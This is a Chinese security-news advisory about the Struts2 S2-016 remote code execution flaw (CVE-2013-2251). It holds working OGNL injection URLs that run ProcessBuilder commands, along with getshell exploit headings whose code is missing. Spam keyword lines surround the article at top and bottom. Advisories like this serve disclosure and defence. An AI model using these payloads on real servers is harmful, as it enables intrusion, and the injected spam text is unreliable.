成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

Struts2最新遠(yuǎn)程代碼執(zhí)行漏洞(S2-016)描述

安全 漏洞
Struts又爆遠(yuǎn)程代碼執(zhí)行漏洞了!在這次的漏洞中,攻擊者可以通過(guò)操縱參數(shù)遠(yuǎn)程執(zhí)行惡意代碼。Struts 2.3.15.1之前的版本,參數(shù)action的值redirect以及redirectAction沒(méi)有正確過(guò)濾,導(dǎo)致ognl代碼執(zhí)行。

Struts又爆遠(yuǎn)程代碼執(zhí)行漏洞了!在這次的漏洞中,攻擊者可以通過(guò)操縱參數(shù)遠(yuǎn)程執(zhí)行惡意代碼。Struts 2.3.15.1之前的版本,參數(shù)action的值redirect以及redirectAction沒(méi)有正確過(guò)濾,導(dǎo)致ognl代碼執(zhí)行。

描述

影響版本 Struts 2.0.0 - Struts 2.3.15

報(bào)告者 Takeshi Terada of Mitsui Bussan Secure Directions, Inc.

CVE編號(hào) CVE-2013-2251

漏洞證明

參數(shù)會(huì)以O(shè)GNL表達(dá)式執(zhí)行

http://host/struts2-blank/example/X.action?action:%25{3*4}
http://host/struts2-showcase/employee/save.action?redirect:%25{3*4}

代碼執(zhí)行

http://host/struts2-blank/example/X.action?action:%25{(new+
java.lang.ProcessBuilder(new+java.lang.String[]
{'command','goes','here'})).start()}

http://host/struts2-showcase/employee/save.action?redirect:%25
{(new+java.lang.ProcessBuilder(new+java.lang.String[]
{'command','goes','here'})).start()}

http://host/struts2-showcase/employee/save.action?redirectAction:%25
{(new+java.lang.ProcessBuilder(new+java.lang.String[]
{'command','goes','here'})).start()}

漏洞原理

The Struts 2 DefaultActionMapper supports a method for short-circuit navigation state changes by prefixing parameters with “action:” or “redirect:”, followed by a desired navigational target expression. This mechanism was intended to help with attaching navigational information to buttons within forms.

In Struts 2 before 2.3.15.1 the information following “action:”, “redirect:” or “redirectAction:” is not properly sanitized. Since said information will be evaluated as OGNL expression against the value stack, this introduces the possibility to inject server side code.

以下僅供教學(xué)研究之用,嚴(yán)禁非法用途!

執(zhí)行任意命令EXP,感謝X提供:

Struts2再爆遠(yuǎn)程代碼執(zhí)行漏洞(S2-016)

爆網(wǎng)站路徑EXP,感謝h4ck0r提供:

Struts2再爆遠(yuǎn)程代碼執(zhí)行漏洞(S2-016)  

python執(zhí)行任意命令,感謝h4ck0r提供

Struts2再爆遠(yuǎn)程代碼執(zhí)行漏洞(S2-016) 

GETSHELL EXP,感謝coffee提供:

Struts2再爆遠(yuǎn)程代碼執(zhí)行漏洞(S2-016) 

然后用以下代碼寫(xiě)shell:

Struts2再爆遠(yuǎn)程代碼執(zhí)行漏洞(S2-016)

上前目錄生成1.jsp

責(zé)任編輯:藍(lán)雨淚 來(lái)源: FreebuF
相關(guān)推薦

2013-05-22 10:28:19

2013-07-18 15:09:27

2016-04-29 10:58:13

2017-03-08 22:23:02

2012-12-18 16:18:06

2023-12-14 16:20:09

2017-07-11 09:42:22

漏洞

2016-03-16 15:34:32

2013-07-19 09:36:04

struts2struts2漏洞

2013-07-22 10:45:56

2016-06-08 10:09:24

2016-03-22 12:37:45

Struts2Struts2漏洞漏洞檢測(cè)

2013-07-24 10:35:02

2017-09-12 07:54:32

2009-07-29 09:54:34

struts2和str

2017-07-14 13:51:19

2009-02-04 10:51:07

2013-07-18 15:57:42

2009-06-25 15:11:28

Struts2教程Struts2程序

2017-03-07 10:34:40

Struts2Struts2漏洞
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)

主站蜘蛛池模板: 亚洲综合激情 | 7799精品视频天天看 | 手机在线观看av | 久久精品视频在线免费观看 | 欧美xxxx网站 | 成人免费观看视频 | 亚洲国产成人精品久久 | 一区二区三区四区不卡视频 | 成人免费毛片在线观看 | 日韩图区 | 国产高清久久 | 中文字幕av高清 | 日韩中文字幕在线视频 | 成人av片在线观看 | 中文字幕亚洲欧美 | 欧美精品在线一区二区三区 | 在线观看亚洲欧美 | 色免费看 | 中文字幕久久精品 | 久久精品国产一区二区电影 | 韩国av网站在线观看 | 欧美日韩国产在线观看 | 久久久久久一区 | 日韩不卡视频在线观看 | 涩涩片影院 | 国产成人久久精品一区二区三区 | 日本在线观看视频 | 欧美一区二区在线视频 | 成人做爰9片免费看网站 | 成人av在线播放 | 天天搞天天搞 | 美女爽到呻吟久久久久 | 亚洲综合色视频在线观看 | 国产精品一区二区在线播放 | 狠狠操狠狠搞 | 自拍视频国产 | 中文天堂网 | 日本高清视频在线播放 | 午夜免费观看网站 | 91porn成人精品 | 伊人在线 |